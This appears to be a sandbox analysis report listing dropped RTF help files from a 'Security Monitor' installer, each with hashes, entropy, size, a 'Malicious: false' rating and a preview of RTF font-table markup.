SHA1:	C661D3ECDB4B78DF45927CB9BD6AD3E97E32391B
SHA-256:	FD87095AFDF8E11217CE15975B5072A0F9543F76E6969A1C89ABA454554D8DAE
SHA-512:	6B54B1F73B15EB1EC8DA02C5ECB859A5E5ED10D41A04F667ACABCA35FA86684EC88D8AFE05C32BD84A1C8584CE6B0805A755FF36FB937484C4258D0CCE94D6E3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-SMG4L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52487
Entropy (8bit):	5.092431049148049
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrUQBkyKWm+2Ck4O6CFURooIniy+JcOerjj1oMUliJ/KK0KhKuiFq:ssZmQUw4zQ
MD5:	CBF3434F05AFD39EAF4FF2766C533BCD
SHA1:	A339CCBDD47201D50598801A53E979B0C0A52607
SHA-256:	0F58E6C26916B5B1E7A9E1130C8EC22A08A2500972446EC232901013C7645A1B
SHA-512:	2EB64B6B8625BF64341EAD806EBE07E3BCD954DEC97D50BD68E6990062C1EBAA7553EA2834D04291B4E103F28296BB1F4F5CA6182E143F07752AD375DC8C80DF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\is-UAL2I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	43600
Entropy (8bit):	5.089965856777119
Encrypted:	false
SSDEEP:	768:s8SX8tS1BOd5rXmgamSN4UIRop4RiHAhzIaq4z4:s8cWRK4z4
MD5:	A79752006AFB6D9A39FC512475ED8493
SHA1:	41B4CD12ACE830E94F30119B35317B7C3C49DAEA
SHA-256:	F0DEFD01327E90A5DCB72C78B1A1D0A875D39E43AC8CD1D2BB0E63B25465BADF
SHA-512:	003CEED560F76521D0457BE2CCD3E438E7100765A6ECA110AE9EE47B43FA807DB389F1B1E1C3D001FC170B38E211E46A4D280799BEE93DA79237B9BD9B34F812
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	47686
Entropy (8bit):	5.09343273407686
Encrypted:	false
SSDEEP:	768:ssS88UAauxWSlSQ4KxTmlbyGwI+X0Ij+SN4UIRopfviHmdW0isCE35OAnelmHj/F:ss9Hq5F4zY
MD5:	D883A50756AA633B20915B68BDCE5213
SHA1:	B2B99E912B3F0D3E0DF2C90B71DE5C3316745E67
SHA-256:	E41BEF0E6F6FCAB4CC5749CC8066F4AE4EA50F19C518B644B86034BC0885CB32
SHA-512:	670BA488A0DEFF9B037CCCB22912798487F5FC02AFB84E9DF41E2D1DB98E39CF7BC608131B6D38DDAD8250E96F7A9900CCCFBEDA80512BBCBED055788DE8D72C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53852
Entropy (8bit):	5.077126010099254
Encrypted:	false
SSDEEP:	768:s8SJmeIQTmoQBkyKWm+mqBjLW5qoISN4UIRop1BBAvqJ6Hcrfvw4QJuyHKj3z2yw:s8Urw4zS
MD5:	23DB4F7C5A211C876D606B792A96769E
SHA1:	5747AB46CEB3A87BD87CCB5723BF07E0CFBAA73B
SHA-256:	6229BB6489019CA563DBF8F11CF135C4604A22014337F3AC3FF4E39FC3624E88
SHA-512:	BFF0AAFAF0C676EB9CA6DCF5278E4796DF778943493826C8B3FE8475125C9ADDC4F5763BC64F12B62398C1B77343669BB518FD0A864E83A80CC9F3AACE519A0A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56628
Entropy (8bit):	5.001958639036602
Encrypted:	false
SSDEEP:	768:pqFk5evUwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZ+GjaorHye0HmuwB:pqnVUne8GjaUECaIA9o
MD5:	BA9CD5C6FBC3F41BA7B21B842B211D29
SHA1:	337DF42901DA8E9855D59333E4357BB3CF9953E2
SHA-256:	CD14DD162DFBA323EB79D496DB0E9D053B9D21A8AB7E300232074458A91F62E4
SHA-512:	D6A9DC42E548806E469BA0B15C40E886BE92EBBE247116FEE9E15EA83D6B3A8B19C42DF639405DBCB70B3E6859E243406CA24BBAEEAA57E95CCE26128D04ECD7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	67825
Entropy (8bit):	4.9803843553687
Encrypted:	false
SSDEEP:	768:pqeP2iXwdvjLJzrrrMOcPI0QhhiLVptabQhOsWxkMvxGx5QZTTHPmpncTUAF7s8a:pqL5UneNTHP3TIA9i
MD5:	C84BB8D1E95FF5ED4B74B8F938B7C26F
SHA1:	C661D3ECDB4B78DF45927CB9BD6AD3E97E32391B
SHA-256:	FD87095AFDF8E11217CE15975B5072A0F9543F76E6969A1C89ABA454554D8DAE
SHA-512:	6B54B1F73B15EB1EC8DA02C5ECB859A5E5ED10D41A04F667ACABCA35FA86684EC88D8AFE05C32BD84A1C8584CE6B0805A755FF36FB937484C4258D0CCE94D6E3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	48225
Entropy (8bit):	5.096715936522922
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrfVY9RtmIiRAN4UIRopxdRNudR5crHZi2drk7Y9mrjbmPObWPq6S:ssmpH84z8
MD5:	2598048BFC64A464E54D6B415A7303E7
SHA1:	6FD99F1B7BB146904F310EAA185C9BEF7794DB69
SHA-256:	70C7A754C1EABFA6640D343B1CCF2F773DED987C88AC8F90331AC7DBD1B308AD
SHA-512:	D50B166D6FD03868343EB90C549A7D0D6E6E72AB3A8C73A48E7FCB80AC17BD595BE237C7AEFEE47E1AE9BA80FA5C2DA9800F9A4562E7D99E7006EC89C626A2F7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53088
Entropy (8bit):	5.091636989377984
Encrypted:	false
SSDEEP:	768:ss/Ly89zHebIrXWeKyggjmvOnaCwL9W1bd5JIyyFXMjjv0dp+ILGmx5BfQNCrli8:ssm1Gg4zO
MD5:	505DFAF995C4EA7441C48E99C6400772
SHA1:	26C112D3664663D7B9618D11D9BF7C893DAD3A1A
SHA-256:	6D87327F851810F5CC1844EC1A39ACC0390EFB02284094EC53AF1CD4CE8CA3B2
SHA-512:	2F190B4882D740DB06E90532905A6A0EEBC73AC06D581FE993254C0E23A46E7DAAD5F63D0FF643F258D5603B6E866D8AC2447F336F109116777AB49FD824D356
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	61090
Entropy (8bit):	5.061944824308056
Encrypted:	false
SSDEEP:	768:s8/N3CelQcu09coHJreOBnAF3vlmgaJnAF3vlmgaiSN4UIRopZMggLBbWmb8Sw1w:s85g+X4zR
MD5:	F233DF0C1E13DC0EC1FBC3DFE59E36FA
SHA1:	A032C4D543AA03D01A28518894DD066D8682CE2C
SHA-256:	B465F564E4A3FC70B8D12141C5CD4E1EA9C620D4B2A7A5DC84F54D8C5701F590
SHA-512:	13CAF615E0EEEA67CD8037106E7714CACD72F4A74CB53561766D6D7546E97F62A390BB09FD5DFA3AAE56499E13CD699E13684181443E4361BECED33D8D6E26F9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	50648
Entropy (8bit):	5.076966621667136
Encrypted:	false
SSDEEP:	768:s8SW8t+CiBkyKWm+YqBjLW5qoqKZmbOTJbwQzgJetfBq4z+:s8f8Q4z+
MD5:	927893BFF8C06F090F00A06389C24A42
SHA1:	EADC77D6AAADC171CBF54B81A41930912803AAA0
SHA-256:	37E18C594AA49F95B3CB800A7425EB6AD57FF8BAA97A523F971F8B9F77FC5F70
SHA-512:	1DA7CA2795A54523DE39475A40832088924BFC49DD194A25E202C38D84F9A77389DEC2E612667C0D036ED911F3136D2D23D52AA43C6251D712E43C470E1031C7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52487
Entropy (8bit):	5.092431049148049
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrUQBkyKWm+2Ck4O6CFURooIniy+JcOerjj1oMUliJ/KK0KhKuiFq:ssZmQUw4zQ
MD5:	CBF3434F05AFD39EAF4FF2766C533BCD
SHA1:	A339CCBDD47201D50598801A53E979B0C0A52607
SHA-256:	0F58E6C26916B5B1E7A9E1130C8EC22A08A2500972446EC232901013C7645A1B
SHA-512:	2EB64B6B8625BF64341EAD806EBE07E3BCD954DEC97D50BD68E6990062C1EBAA7553EA2834D04291B4E103F28296BB1F4F5CA6182E143F07752AD375DC8C80DF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	51302
Entropy (8bit):	5.092103345877651
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrmQBkyKWm+eCk4O6Cg2NjrOX/zJ0PfOyGlgOYBJiDBNBiOl/Vq/M:ssZdBa4zS
MD5:	E5A9141385B035A9DA437DD1F1083F69
SHA1:	A6959E190DCDAD51B46960285E8EFBE532648E7A
SHA-256:	F5F01449E3735132C0A835E6F6A6E9810BF63592073AD66273F6DFEAE36EB41A
SHA-512:	A7B6E252D2B28977A1C1699582BC66B40D99D4B18F47CA78BAFF8D5D0EED592FF6FD9E98E3C10658823A586244CA08A8EDD8A8B1B9B391881C7794E1F0C5EED6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54763
Entropy (8bit):	5.086159865228289
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrIQBkyKWm+2Ck4O6CFURooIniyl+n6S8aG+8Iu/wj5XvSTp5kiWz:ssZVpy4zU
MD5:	FE0FD5197CD49B1818CD102069665E64
SHA1:	313F0DF1F4B687043DAED9B1BB783BA36F8F1BC4
SHA-256:	787E3B3DBC3E1DE91DD2C786085ED70616AF51B843C56B88541B40601390E055
SHA-512:	B24055EE351C5973DF4C42D678A59F84EE4F7447AEDA49581413E97CBA59C0DF1F2E5712BC31C2F94FA399214208BBB9F1C6AE3EA6BB439728D1C5C5D156F96F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\websites.rtf (copy)

Download File

